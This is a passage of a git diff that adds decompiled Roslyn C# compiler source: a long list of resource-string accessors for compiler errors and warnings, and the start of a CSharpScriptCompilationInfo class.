GetResourceString("WRN_UnassignedThisSupportedVersion_Title"); + + internal static string ERR_UseDefViolationFieldUnsupportedVersion => GetResourceString("ERR_UseDefViolationFieldUnsupportedVersion"); + + internal static string ERR_UseDefViolationPropertyUnsupportedVersion => GetResourceString("ERR_UseDefViolationPropertyUnsupportedVersion"); + + internal static string WRN_UseDefViolationFieldUnsupportedVersion => GetResourceString("WRN_UseDefViolationFieldUnsupportedVersion"); + + internal static string WRN_UseDefViolationFieldUnsupportedVersion_Title => GetResourceString("WRN_UseDefViolationFieldUnsupportedVersion_Title"); + + internal static string WRN_UseDefViolationPropertyUnsupportedVersion => GetResourceString("WRN_UseDefViolationPropertyUnsupportedVersion"); + + internal static string WRN_UseDefViolationPropertyUnsupportedVersion_Title => GetResourceString("WRN_UseDefViolationPropertyUnsupportedVersion_Title"); + + internal static string ERR_UnsupportedTypeForSlicePattern => GetResourceString("ERR_UnsupportedTypeForSlicePattern"); + + internal static string ERR_MisplacedSlicePattern => GetResourceString("ERR_MisplacedSlicePattern"); + + internal static string ERR_HiddenPositionalMember => GetResourceString("ERR_HiddenPositionalMember"); + + internal static string IDS_FeatureImprovedInterpolatedStrings => GetResourceString("IDS_FeatureImprovedInterpolatedStrings"); + + internal static string ERR_InterpolatedStringHandlerMethodReturnMalformed => GetResourceString("ERR_InterpolatedStringHandlerMethodReturnMalformed"); + + internal static string ERR_InterpolatedStringHandlerMethodReturnInconsistent => GetResourceString("ERR_InterpolatedStringHandlerMethodReturnInconsistent"); + + internal static string ERR_InvalidNameInSubpattern => GetResourceString("ERR_InvalidNameInSubpattern"); + + internal static string IDS_FeatureExtendedPropertyPatterns => GetResourceString("IDS_FeatureExtendedPropertyPatterns"); + + internal static string IDS_FeatureGlobalUsing => GetResourceString("IDS_FeatureGlobalUsing"); + + internal static string ERR_GlobalUsingInNamespace => GetResourceString("ERR_GlobalUsingInNamespace"); + + internal static string ERR_GlobalUsingOutOfOrder => GetResourceString("ERR_GlobalUsingOutOfOrder"); + + internal static string ERR_NullInvalidInterpolatedStringHandlerArgumentName => GetResourceString("ERR_NullInvalidInterpolatedStringHandlerArgumentName"); + + internal static string ERR_NotInstanceInvalidInterpolatedStringHandlerArgumentName => GetResourceString("ERR_NotInstanceInvalidInterpolatedStringHandlerArgumentName"); + + internal static string ERR_InvalidInterpolatedStringHandlerArgumentName => GetResourceString("ERR_InvalidInterpolatedStringHandlerArgumentName"); + + internal static string ERR_TypeIsNotAnInterpolatedStringHandlerType => GetResourceString("ERR_TypeIsNotAnInterpolatedStringHandlerType"); + + internal static string WRN_ParameterOccursAfterInterpolatedStringHandlerParameter => GetResourceString("WRN_ParameterOccursAfterInterpolatedStringHandlerParameter"); + + internal static string WRN_ParameterOccursAfterInterpolatedStringHandlerParameter_Title => GetResourceString("WRN_ParameterOccursAfterInterpolatedStringHandlerParameter_Title"); + + internal static string ERR_CannotUseSelfAsInterpolatedStringHandlerArgument => GetResourceString("ERR_CannotUseSelfAsInterpolatedStringHandlerArgument"); + + internal static string ERR_InterpolatedStringHandlerArgumentAttributeMalformed => GetResourceString("ERR_InterpolatedStringHandlerArgumentAttributeMalformed"); + + internal static string ERR_InterpolatedStringHandlerArgumentLocatedAfterInterpolatedString => GetResourceString("ERR_InterpolatedStringHandlerArgumentLocatedAfterInterpolatedString"); + + internal static string ERR_InterpolatedStringHandlerArgumentOptionalNotSpecified => GetResourceString("ERR_InterpolatedStringHandlerArgumentOptionalNotSpecified"); + + internal static string ERR_ExpressionTreeContainsInterpolatedStringHandlerConversion => GetResourceString("ERR_ExpressionTreeContainsInterpolatedStringHandlerConversion"); + + internal static string ERR_InterpolatedStringHandlerCreationCannotUseDynamic => GetResourceString("ERR_InterpolatedStringHandlerCreationCannotUseDynamic"); + + internal static string ERR_NonPublicParameterlessStructConstructor => GetResourceString("ERR_NonPublicParameterlessStructConstructor"); + + internal static string IDS_FeatureStaticAbstractMembersInInterfaces => GetResourceString("IDS_FeatureStaticAbstractMembersInInterfaces"); + + internal static string ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfaces => GetResourceString("ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfaces"); + + internal static string ERR_GenericConstraintNotSatisfiedInterfaceWithStaticAbstractMembers => GetResourceString("ERR_GenericConstraintNotSatisfiedInterfaceWithStaticAbstractMembers"); + + internal static string ERR_BadAbstractUnaryOperatorSignature => GetResourceString("ERR_BadAbstractUnaryOperatorSignature"); + + internal static string ERR_BadAbstractIncDecSignature => GetResourceString("ERR_BadAbstractIncDecSignature"); + + internal static string ERR_BadAbstractIncDecRetType => GetResourceString("ERR_BadAbstractIncDecRetType"); + + internal static string ERR_BadAbstractBinaryOperatorSignature => GetResourceString("ERR_BadAbstractBinaryOperatorSignature"); + + internal static string ERR_BadAbstractShiftOperatorSignature => GetResourceString("ERR_BadAbstractShiftOperatorSignature"); + + internal static string ERR_BadAbstractStaticMemberAccess => GetResourceString("ERR_BadAbstractStaticMemberAccess"); + + internal static string ERR_ExpressionTreeContainsAbstractStaticMemberAccess => GetResourceString("ERR_ExpressionTreeContainsAbstractStaticMemberAccess"); + + internal static string ERR_CloseUnimplementedInterfaceMemberNotStatic => GetResourceString("ERR_CloseUnimplementedInterfaceMemberNotStatic"); + + internal static string ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfacesForMember => GetResourceString("ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfacesForMember"); + + internal static string ERR_ExplicitImplementationOfOperatorsMustBeStatic => GetResourceString("ERR_ExplicitImplementationOfOperatorsMustBeStatic"); + + internal static string ERR_AbstractConversionNotInvolvingContainedType => GetResourceString("ERR_AbstractConversionNotInvolvingContainedType"); + + internal static string ERR_InterfaceImplementedByUnmanagedCallersOnlyMethod => GetResourceString("ERR_InterfaceImplementedByUnmanagedCallersOnlyMethod"); + + internal static string HDN_DuplicateWithGlobalUsing => GetResourceString("HDN_DuplicateWithGlobalUsing"); + + internal static string HDN_DuplicateWithGlobalUsing_Title => GetResourceString("HDN_DuplicateWithGlobalUsing_Title"); + + internal static string ERR_BuilderAttributeDisallowed => GetResourceString("ERR_BuilderAttributeDisallowed"); + + internal static string ERR_SimpleProgramIsEmpty => GetResourceString("ERR_SimpleProgramIsEmpty"); + + internal static string ERR_LineDoesNotStartWithSameWhitespace => GetResourceString("ERR_LineDoesNotStartWithSameWhitespace"); + + internal static string ERR_RawStringNotInDirectives => GetResourceString("ERR_RawStringNotInDirectives"); + + internal static string ERR_RawStringDelimiterOnOwnLine => GetResourceString("ERR_RawStringDelimiterOnOwnLine"); + + internal static string ERR_TooManyQuotesForRawString => GetResourceString("ERR_TooManyQuotesForRawString"); + + internal static string ERR_TooManyOpenBracesForRawString => GetResourceString("ERR_TooManyOpenBracesForRawString"); + + internal static string ERR_TooManyCloseBracesForRawString => GetResourceString("ERR_TooManyCloseBracesForRawString"); + + internal static string ERR_NotEnoughQuotesForRawString => GetResourceString("ERR_NotEnoughQuotesForRawString"); + + internal static string ERR_NotEnoughCloseBracesForRawString => GetResourceString("ERR_NotEnoughCloseBracesForRawString"); + + internal static string ERR_IllegalAtSequence => GetResourceString("ERR_IllegalAtSequence"); + + internal static string ERR_StringMustStartWithQuoteCharacter => GetResourceString("ERR_StringMustStartWithQuoteCharacter"); + + internal static string ERR_UnterminatedRawString => GetResourceString("ERR_UnterminatedRawString"); + + internal static string IDS_FeatureRawStringLiterals => GetResourceString("IDS_FeatureRawStringLiterals"); + + internal static string ERR_RawStringInVerbatimInterpolatedStrings => GetResourceString("ERR_RawStringInVerbatimInterpolatedStrings"); + + internal static string ERR_RawStringMustContainContent => GetResourceString("ERR_RawStringMustContainContent"); + + internal static string ERR_NewlinesAreNotAllowedInsideANonVerbatimInterpolatedString => GetResourceString("ERR_NewlinesAreNotAllowedInsideANonVerbatimInterpolatedString"); + + internal static string IDS_FeatureGenericAttributes => GetResourceString("IDS_FeatureGenericAttributes"); + + internal static string WRN_InterpolatedStringHandlerArgumentAttributeIgnoredOnLambdaParameters => GetResourceString("WRN_InterpolatedStringHandlerArgumentAttributeIgnoredOnLambdaParameters"); + + internal static string WRN_InterpolatedStringHandlerArgumentAttributeIgnoredOnLambdaParameters_Title => GetResourceString("WRN_InterpolatedStringHandlerArgumentAttributeIgnoredOnLambdaParameters_Title"); + + internal static string ERR_LambdaWithAttributesToExpressionTree => GetResourceString("ERR_LambdaWithAttributesToExpressionTree"); + + internal static string ERR_RecordStructConstructorCallsDefaultConstructor => GetResourceString("ERR_RecordStructConstructorCallsDefaultConstructor"); + + internal static string ERR_StructHasInitializersAndNoDeclaredConstructor => GetResourceString("ERR_StructHasInitializersAndNoDeclaredConstructor"); + + internal static string ERR_PatternSpanCharCannotBeStringNull => GetResourceString("ERR_PatternSpanCharCannotBeStringNull"); + + internal static string ERR_EncUpdateFailedDelegateTypeChanged => GetResourceString("ERR_EncUpdateFailedDelegateTypeChanged"); + + internal static string WRN_CompileTimeCheckedOverflow => GetResourceString("WRN_CompileTimeCheckedOverflow"); + + internal static string WRN_CompileTimeCheckedOverflow_Title => GetResourceString("WRN_CompileTimeCheckedOverflow_Title"); + + internal static string ERR_CannotUseRefInUnmanagedCallersOnly => GetResourceString("ERR_CannotUseRefInUnmanagedCallersOnly"); + + internal static string IDS_FeatureNewLinesInInterpolations => GetResourceString("IDS_FeatureNewLinesInInterpolations"); + + internal static string ERR_InterpolatedStringsReferencingInstanceCannotBeInObjectInitializers => GetResourceString("ERR_InterpolatedStringsReferencingInstanceCannotBeInObjectInitializers"); + + internal static string ERR_CannotBeMadeNullable => GetResourceString("ERR_CannotBeMadeNullable"); + + internal static string WRN_LowerCaseTypeName => GetResourceString("WRN_LowerCaseTypeName"); + + internal static string WRN_LowerCaseTypeName_Title => GetResourceString("WRN_LowerCaseTypeName_Title"); + + internal static string ERR_RequiredNameDisallowed => GetResourceString("ERR_RequiredNameDisallowed"); + + internal static string IDS_FeatureRequiredMembers => GetResourceString("IDS_FeatureRequiredMembers"); + + internal static string ERR_OverrideMustHaveRequired => GetResourceString("ERR_OverrideMustHaveRequired"); + + internal static string ERR_RequiredMemberCannotBeHidden => GetResourceString("ERR_RequiredMemberCannotBeHidden"); + + internal static string ERR_RequiredMemberCannotBeLessVisibleThanContainingType => GetResourceString("ERR_RequiredMemberCannotBeLessVisibleThanContainingType"); + + internal static string ERR_ExplicitRequiredMember => GetResourceString("ERR_ExplicitRequiredMember"); + + internal static string ERR_RequiredMemberMustBeSettable => GetResourceString("ERR_RequiredMemberMustBeSettable"); + + internal static string ERR_RequiredMemberMustBeSet => GetResourceString("ERR_RequiredMemberMustBeSet"); + + internal static string ERR_RequiredMembersMustBeAssignedValue => GetResourceString("ERR_RequiredMembersMustBeAssignedValue"); + + internal static string ERR_RequiredMembersInvalid => GetResourceString("ERR_RequiredMembersInvalid"); + + internal static string ERR_RequiredMembersBaseTypeInvalid => GetResourceString("ERR_RequiredMembersBaseTypeInvalid"); + + internal static string ERR_LineContainsDifferentWhitespace => GetResourceString("ERR_LineContainsDifferentWhitespace"); + + internal static string ERR_NoEnumConstraint => GetResourceString("ERR_NoEnumConstraint"); + + internal static string ERR_NoDelegateConstraint => GetResourceString("ERR_NoDelegateConstraint"); + + internal static string ERR_MisplacedRecord => GetResourceString("ERR_MisplacedRecord"); + + internal static string IDS_FeatureCheckedUserDefinedOperators => GetResourceString("IDS_FeatureCheckedUserDefinedOperators"); + + internal static string ERR_OperatorCantBeChecked => GetResourceString("ERR_OperatorCantBeChecked"); + + internal static string ERR_ImplicitConversionOperatorCantBeChecked => GetResourceString("ERR_ImplicitConversionOperatorCantBeChecked"); + + internal static string ERR_CheckedOperatorNeedsMatch => GetResourceString("ERR_CheckedOperatorNeedsMatch"); + + internal static string ERR_CannotBeConvertedToUtf8 => GetResourceString("ERR_CannotBeConvertedToUtf8"); + + internal static string IDS_FeatureUtf8StringLiterals => GetResourceString("IDS_FeatureUtf8StringLiterals"); + + internal static string ERR_ExpressionTreeContainsUtf8StringLiterals => GetResourceString("ERR_ExpressionTreeContainsUtf8StringLiterals"); + + internal static string ERR_ChainingToSetsRequiredMembersRequiresSetsRequiredMembers => GetResourceString("ERR_ChainingToSetsRequiredMembersRequiresSetsRequiredMembers"); + + internal static string ERR_NewConstraintCannotHaveRequiredMembers => GetResourceString("ERR_NewConstraintCannotHaveRequiredMembers"); + + internal static string ERR_FileTypeDisallowedInSignature => GetResourceString("ERR_FileTypeDisallowedInSignature"); + + internal static string ERR_FileTypeNoExplicitAccessibility => GetResourceString("ERR_FileTypeNoExplicitAccessibility"); + + internal static string ERR_FileTypeBase => GetResourceString("ERR_FileTypeBase"); + + internal static string ERR_FileTypeNested => GetResourceString("ERR_FileTypeNested"); + + internal static string ERR_FilePathCannotBeConvertedToUtf8 => GetResourceString("ERR_FilePathCannotBeConvertedToUtf8"); + + internal static string ERR_GlobalUsingStaticFileType => GetResourceString("ERR_GlobalUsingStaticFileType"); + + internal static string ERR_FileTypeNameDisallowed => GetResourceString("ERR_FileTypeNameDisallowed"); + + internal static string ERR_FileTypeNonUniquePath => GetResourceString("ERR_FileTypeNonUniquePath"); + + internal static string IDS_FeatureUnsignedRightShift => GetResourceString("IDS_FeatureUnsignedRightShift"); + + internal static string IDS_FeatureRelaxedShiftOperator => GetResourceString("IDS_FeatureRelaxedShiftOperator"); + + internal static string ERR_UnsupportedCompilerFeature => GetResourceString("ERR_UnsupportedCompilerFeature"); + + internal static string WRN_ObsoleteMembersShouldNotBeRequired => GetResourceString("WRN_ObsoleteMembersShouldNotBeRequired"); + + internal static string WRN_ObsoleteMembersShouldNotBeRequired_Title => GetResourceString("WRN_ObsoleteMembersShouldNotBeRequired_Title"); + + internal static string ERR_RefReturningPropertiesCannotBeRequired => GetResourceString("ERR_RefReturningPropertiesCannotBeRequired"); + + internal static string ERR_MisplacedUnchecked => GetResourceString("ERR_MisplacedUnchecked"); + + internal static string ERR_ImplicitImplementationOfInaccessibleInterfaceMember => GetResourceString("ERR_ImplicitImplementationOfInaccessibleInterfaceMember"); + + internal static string ERR_ScriptsAndSubmissionsCannotHaveRequiredMembers => GetResourceString("ERR_ScriptsAndSubmissionsCannotHaveRequiredMembers"); + + internal static string ERR_BadAbstractEqualityOperatorSignature => GetResourceString("ERR_BadAbstractEqualityOperatorSignature"); + + internal static string ERR_BadBinaryReadOnlySpanConcatenation => GetResourceString("ERR_BadBinaryReadOnlySpanConcatenation"); + + internal static string ERR_ImplicitlyTypedDefaultParameter => GetResourceString("ERR_ImplicitlyTypedDefaultParameter"); + + internal static string WRN_OptionalParamValueMismatch => GetResourceString("WRN_OptionalParamValueMismatch"); + + internal static string WRN_OptionalParamValueMismatch_Title => GetResourceString("WRN_OptionalParamValueMismatch_Title"); + + internal static string IDS_FeatureFileTypes => GetResourceString("IDS_FeatureFileTypes"); + + internal static string ERR_CannotMatchOnINumberBase => GetResourceString("ERR_CannotMatchOnINumberBase"); + + internal static string IDS_ArrayAccess => GetResourceString("IDS_ArrayAccess"); + + internal static string IDS_PointerElementAccess => GetResourceString("IDS_PointerElementAccess"); + + internal static string ERR_ScopedTypeNameDisallowed => GetResourceString("ERR_ScopedTypeNameDisallowed"); + + internal static string ERR_UnscopedRefAttributeUnsupportedTarget => GetResourceString("ERR_UnscopedRefAttributeUnsupportedTarget"); + + internal static string ERR_UnscopedRefAttributeUnsupportedMemberTarget => GetResourceString("ERR_UnscopedRefAttributeUnsupportedMemberTarget"); + + internal static string ERR_UnscopedRefAttributeInterfaceImplementation => GetResourceString("ERR_UnscopedRefAttributeInterfaceImplementation"); + + internal static string ERR_UnrecognizedRefSafetyRulesAttributeVersion => GetResourceString("ERR_UnrecognizedRefSafetyRulesAttributeVersion"); + + internal static string ERR_RuntimeDoesNotSupportRefFields => GetResourceString("ERR_RuntimeDoesNotSupportRefFields"); + + internal static string ERR_ExplicitScopedRef => GetResourceString("ERR_ExplicitScopedRef"); + + internal static string WRN_DuplicateAnalyzerReference => GetResourceString("WRN_DuplicateAnalyzerReference"); + + internal static string WRN_DuplicateAnalyzerReference_Title => GetResourceString("WRN_DuplicateAnalyzerReference_Title"); + + internal static string ERR_FileLocalDuplicateNameInNS => GetResourceString("ERR_FileLocalDuplicateNameInNS"); + + internal static string ERR_UnscopedScoped => GetResourceString("ERR_UnscopedScoped"); + + internal static string ERR_RefReadOnlyWrongOrdering => GetResourceString("ERR_RefReadOnlyWrongOrdering"); + + internal static string ERR_ScopedDiscard => GetResourceString("ERR_ScopedDiscard"); + + internal static string ERR_DeconstructVariableCannotBeByRef => GetResourceString("ERR_DeconstructVariableCannotBeByRef"); + + internal static string IDS_FeatureLambdaOptionalParameters => GetResourceString("IDS_FeatureLambdaOptionalParameters"); + + internal static string IDS_FeatureLambdaParamsArray => GetResourceString("IDS_FeatureLambdaParamsArray"); + + internal static string WRN_ParamsArrayInLambdaOnly => GetResourceString("WRN_ParamsArrayInLambdaOnly"); + + internal static string WRN_ParamsArrayInLambdaOnly_Title => GetResourceString("WRN_ParamsArrayInLambdaOnly_Title"); + + internal static string IDS_FeaturePrimaryConstructors => GetResourceString("IDS_FeaturePrimaryConstructors"); + + internal static string ERR_InvalidPrimaryConstructorParameterReference => GetResourceString("ERR_InvalidPrimaryConstructorParameterReference"); + + internal static string ERR_AmbiguousPrimaryConstructorParameterAsColorColorReceiver => GetResourceString("ERR_AmbiguousPrimaryConstructorParameterAsColorColorReceiver"); + + internal static string WRN_CapturedPrimaryConstructorParameterPassedToBase => GetResourceString("WRN_CapturedPrimaryConstructorParameterPassedToBase"); + + internal static string WRN_CapturedPrimaryConstructorParameterPassedToBase_Title => GetResourceString("WRN_CapturedPrimaryConstructorParameterPassedToBase_Title"); + + internal static string ERR_AnonDelegateCantUseRefLike => GetResourceString("ERR_AnonDelegateCantUseRefLike"); + + internal static string ERR_UnsupportedPrimaryConstructorParameterCapturingRef => GetResourceString("ERR_UnsupportedPrimaryConstructorParameterCapturingRef"); + + internal static string ERR_UnsupportedPrimaryConstructorParameterCapturingRefLike => GetResourceString("ERR_UnsupportedPrimaryConstructorParameterCapturingRefLike"); + + internal static string ERR_AnonDelegateCantUseStructPrimaryConstructorParameterInMember => GetResourceString("ERR_AnonDelegateCantUseStructPrimaryConstructorParameterInMember"); + + internal static string ERR_AnonDelegateCantUseStructPrimaryConstructorParameterCaptured => GetResourceString("ERR_AnonDelegateCantUseStructPrimaryConstructorParameterCaptured"); + + internal static string WRN_UnreadPrimaryConstructorParameter => GetResourceString("WRN_UnreadPrimaryConstructorParameter"); + + internal static string WRN_UnreadPrimaryConstructorParameter_Title => GetResourceString("WRN_UnreadPrimaryConstructorParameter_Title"); + + internal static string ERR_AssgReadonlyPrimaryConstructorParameter => GetResourceString("ERR_AssgReadonlyPrimaryConstructorParameter"); + + internal static string ERR_RefReturnReadonlyPrimaryConstructorParameter => GetResourceString("ERR_RefReturnReadonlyPrimaryConstructorParameter"); + + internal static string ERR_RefReadonlyPrimaryConstructorParameter => GetResourceString("ERR_RefReadonlyPrimaryConstructorParameter"); + + internal static string ERR_AssgReadonlyPrimaryConstructorParameter2 => GetResourceString("ERR_AssgReadonlyPrimaryConstructorParameter2"); + + internal static string ERR_RefReturnReadonlyPrimaryConstructorParameter2 => GetResourceString("ERR_RefReturnReadonlyPrimaryConstructorParameter2"); + + internal static string ERR_RefReadonlyPrimaryConstructorParameter2 => GetResourceString("ERR_RefReadonlyPrimaryConstructorParameter2"); + + internal static string ERR_RefReturnPrimaryConstructorParameter => GetResourceString("ERR_RefReturnPrimaryConstructorParameter"); + + internal static string ERR_StructLayoutCyclePrimaryConstructorParameter => GetResourceString("ERR_StructLayoutCyclePrimaryConstructorParameter"); + + internal static string ERR_UnexpectedParameterList => GetResourceString("ERR_UnexpectedParameterList"); + + internal static string WRN_AddressOfInAsync => GetResourceString("WRN_AddressOfInAsync"); + + internal static string WRN_AddressOfInAsync_Title => GetResourceString("WRN_AddressOfInAsync_Title"); + + internal static string WRN_ByValArraySizeConstRequired => GetResourceString("WRN_ByValArraySizeConstRequired"); + + internal static string WRN_ByValArraySizeConstRequired_Title => GetResourceString("WRN_ByValArraySizeConstRequired_Title"); + + internal static string ERR_BadStaticAfterUnsafe => GetResourceString("ERR_BadStaticAfterUnsafe"); + + internal static string ERR_BadCaseInSwitchArm => GetResourceString("ERR_BadCaseInSwitchArm"); + + internal static string ERR_InterceptorsFeatureNotEnabled => GetResourceString("ERR_InterceptorsFeatureNotEnabled"); + + internal static string ERR_InterceptorGlobalNamespace => GetResourceString("ERR_InterceptorGlobalNamespace"); + + internal static string ERR_InterceptableMethodMustBeOrdinary => GetResourceString("ERR_InterceptableMethodMustBeOrdinary"); + + internal static string ERR_InterceptorContainingTypeCannotBeGeneric => GetResourceString("ERR_InterceptorContainingTypeCannotBeGeneric"); + + internal static string ERR_InterceptorArityNotCompatible => GetResourceString("ERR_InterceptorArityNotCompatible"); + + internal static string ERR_InterceptorCannotBeGeneric => GetResourceString("ERR_InterceptorCannotBeGeneric"); + + internal static string ERR_InterceptorPathNotInCompilation => GetResourceString("ERR_InterceptorPathNotInCompilation"); + + internal static string ERR_InterceptorPathNotInCompilationWithCandidate => GetResourceString("ERR_InterceptorPathNotInCompilationWithCandidate"); + + internal static string ERR_InterceptorPathNotInCompilationWithUnmappedCandidate => GetResourceString("ERR_InterceptorPathNotInCompilationWithUnmappedCandidate"); + + internal static string ERR_InterceptorLineOutOfRange => GetResourceString("ERR_InterceptorLineOutOfRange"); + + internal static string ERR_InterceptorCharacterOutOfRange => GetResourceString("ERR_InterceptorCharacterOutOfRange"); + + internal static string ERR_InterceptorLineCharacterMustBePositive => GetResourceString("ERR_InterceptorLineCharacterMustBePositive"); + + internal static string ERR_InterceptorPositionBadToken => GetResourceString("ERR_InterceptorPositionBadToken"); + + internal static string ERR_InterceptorMustReferToStartOfTokenPosition => GetResourceString("ERR_InterceptorMustReferToStartOfTokenPosition"); + + internal static string ERR_InterceptorSignatureMismatch => GetResourceString("ERR_InterceptorSignatureMismatch"); + + internal static string WRN_InterceptorSignatureMismatch => GetResourceString("WRN_InterceptorSignatureMismatch"); + + internal static string WRN_InterceptorSignatureMismatch_Title => GetResourceString("WRN_InterceptorSignatureMismatch_Title"); + + internal static string ERR_InterceptorMethodMustBeOrdinary => GetResourceString("ERR_InterceptorMethodMustBeOrdinary"); + + internal static string ERR_InterceptorMustHaveMatchingThisParameter => GetResourceString("ERR_InterceptorMustHaveMatchingThisParameter"); + + internal static string ERR_InterceptorMustNotHaveThisParameter => GetResourceString("ERR_InterceptorMustNotHaveThisParameter"); + + internal static string ERR_InterceptorFilePathCannotBeNull => GetResourceString("ERR_InterceptorFilePathCannotBeNull"); + + internal static string ERR_InterceptorNameNotInvoked => GetResourceString("ERR_InterceptorNameNotInvoked"); + + internal static string ERR_InterceptorNonUniquePath => GetResourceString("ERR_InterceptorNonUniquePath"); + + internal static string ERR_DuplicateInterceptor => GetResourceString("ERR_DuplicateInterceptor"); + + internal static string ERR_InterceptorNotAccessible => GetResourceString("ERR_InterceptorNotAccessible"); + + internal static string ERR_InterceptorScopedMismatch => GetResourceString("ERR_InterceptorScopedMismatch"); + + internal static string ERR_ConstantValueOfTypeExpected => GetResourceString("ERR_ConstantValueOfTypeExpected"); + + internal static string ERR_UnsupportedPrimaryConstructorParameterCapturingRefAny => GetResourceString("ERR_UnsupportedPrimaryConstructorParameterCapturingRefAny"); + + internal static string WRN_NullabilityMismatchInParameterTypeOnInterceptor => GetResourceString("WRN_NullabilityMismatchInParameterTypeOnInterceptor"); + + internal static string WRN_NullabilityMismatchInParameterTypeOnInterceptor_Title => GetResourceString("WRN_NullabilityMismatchInParameterTypeOnInterceptor_Title"); + + internal static string WRN_NullabilityMismatchInReturnTypeOnInterceptor => GetResourceString("WRN_NullabilityMismatchInReturnTypeOnInterceptor"); + + internal static string WRN_NullabilityMismatchInReturnTypeOnInterceptor_Title => GetResourceString("WRN_NullabilityMismatchInReturnTypeOnInterceptor_Title"); + + internal static string ERR_InterceptorCannotInterceptNameof => GetResourceString("ERR_InterceptorCannotInterceptNameof"); + + internal static string ERR_InterceptorCannotUseUnmanagedCallersOnly => GetResourceString("ERR_InterceptorCannotUseUnmanagedCallersOnly"); + + internal static string ERR_BadUsingStaticType => GetResourceString("ERR_BadUsingStaticType"); + + internal static string ERR_SymbolDefinedInAssembly => GetResourceString("ERR_SymbolDefinedInAssembly"); + + internal static string WRN_CapturedPrimaryConstructorParameterInFieldInitializer => GetResourceString("WRN_CapturedPrimaryConstructorParameterInFieldInitializer"); + + internal static string WRN_CapturedPrimaryConstructorParameterInFieldInitializer_Title => GetResourceString("WRN_CapturedPrimaryConstructorParameterInFieldInitializer_Title"); + + internal static string ERR_InlineArrayConversionToSpanNotSupported => GetResourceString("ERR_InlineArrayConversionToSpanNotSupported"); + + internal static string ERR_InlineArrayConversionToReadOnlySpanNotSupported => GetResourceString("ERR_InlineArrayConversionToReadOnlySpanNotSupported"); + + internal static string IDS_FeatureInlineArrays => GetResourceString("IDS_FeatureInlineArrays"); + + internal static string ERR_InlineArrayIndexOutOfRange => GetResourceString("ERR_InlineArrayIndexOutOfRange"); + + internal static string ERR_InvalidInlineArrayLength => GetResourceString("ERR_InvalidInlineArrayLength"); + + internal static string ERR_InvalidInlineArrayLayout => GetResourceString("ERR_InvalidInlineArrayLayout"); + + internal static string ERR_InvalidInlineArrayFields => GetResourceString("ERR_InvalidInlineArrayFields"); + + internal static string ERR_ExpressionTreeContainsInlineArrayOperation => GetResourceString("ERR_ExpressionTreeContainsInlineArrayOperation"); + + internal static string ERR_RuntimeDoesNotSupportInlineArrayTypes => GetResourceString("ERR_RuntimeDoesNotSupportInlineArrayTypes"); + + internal static string ERR_InlineArrayBadIndex => GetResourceString("ERR_InlineArrayBadIndex"); + + internal static string ERR_NamedArgumentForInlineArray => GetResourceString("ERR_NamedArgumentForInlineArray"); + + internal static string WRN_PrimaryConstructorParameterIsShadowedAndNotPassedToBase => GetResourceString("WRN_PrimaryConstructorParameterIsShadowedAndNotPassedToBase"); + + internal static string WRN_PrimaryConstructorParameterIsShadowedAndNotPassedToBase_Title => GetResourceString("WRN_PrimaryConstructorParameterIsShadowedAndNotPassedToBase_Title"); + + internal static string ERR_InlineArrayUnsupportedElementFieldModifier => GetResourceString("ERR_InlineArrayUnsupportedElementFieldModifier"); + + internal static string WRN_InlineArrayIndexerNotUsed => GetResourceString("WRN_InlineArrayIndexerNotUsed"); + + internal static string WRN_InlineArrayIndexerNotUsed_Title => GetResourceString("WRN_InlineArrayIndexerNotUsed_Title"); + + internal static string WRN_InlineArraySliceNotUsed => GetResourceString("WRN_InlineArraySliceNotUsed"); + + internal static string WRN_InlineArraySliceNotUsed_Title => GetResourceString("WRN_InlineArraySliceNotUsed_Title"); + + internal static string WRN_InlineArrayConversionOperatorNotUsed => GetResourceString("WRN_InlineArrayConversionOperatorNotUsed"); + + internal static string WRN_InlineArrayConversionOperatorNotUsed_Title => GetResourceString("WRN_InlineArrayConversionOperatorNotUsed_Title"); + + internal static string WRN_InlineArrayNotSupportedByLanguage => GetResourceString("WRN_InlineArrayNotSupportedByLanguage"); + + internal static string WRN_InlineArrayNotSupportedByLanguage_Title => GetResourceString("WRN_InlineArrayNotSupportedByLanguage_Title"); + + internal static string ERR_InlineArrayForEachNotSupported => GetResourceString("ERR_InlineArrayForEachNotSupported"); + + internal static string IDS_FeatureRefReadonlyParameters => GetResourceString("IDS_FeatureRefReadonlyParameters"); + + internal static string WRN_OverridingDifferentRefness => GetResourceString("WRN_OverridingDifferentRefness"); + + internal static string WRN_OverridingDifferentRefness_Title => GetResourceString("WRN_OverridingDifferentRefness_Title"); + + internal static string WRN_HidingDifferentRefness => GetResourceString("WRN_HidingDifferentRefness"); + + internal static string WRN_HidingDifferentRefness_Title => GetResourceString("WRN_HidingDifferentRefness_Title"); + + internal static string WRN_TargetDifferentRefness => GetResourceString("WRN_TargetDifferentRefness"); + + internal static string WRN_TargetDifferentRefness_Title => GetResourceString("WRN_TargetDifferentRefness_Title"); + + internal static string WRN_UseDefViolationRefField => GetResourceString("WRN_UseDefViolationRefField"); + + internal static string WRN_UseDefViolationRefField_Title => GetResourceString("WRN_UseDefViolationRefField_Title"); + + internal static string ERR_ExpectedInterpolatedString => GetResourceString("ERR_ExpectedInterpolatedString"); + + internal static string ERR_CollectionExpressionImmutableArray => GetResourceString("ERR_CollectionExpressionImmutableArray"); + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static string GetResourceString(string resourceKey, string defaultValue = null) + { + return ResourceManager.GetString(resourceKey, Culture); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpScriptCompilationInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpScriptCompilationInfo.cs new file mode 100644 index 0000000..b895728 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpScriptCompilationInfo.cs @@ -0,0 +1,30 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +public sealed class CSharpScriptCompilationInfo : ScriptCompilationInfo +{ + public CSharpCompilation? PreviousScriptCompilation { get; } + + internal override Compilation? CommonPreviousScriptCompilation => (Compilation?)(object)PreviousScriptCompilation; + + internal CSharpScriptCompilationInfo(CSharpCompilation? previousCompilationOpt, Type? returnType, Type? globalsType) + : base(returnType, globalsType) + { + PreviousScriptCompilation = previousCompilationOpt; + } + + public CSharpScriptCompilationInfo WithPreviousScriptCompilation(CSharpCompilation? compilation) + { + if (compilation != 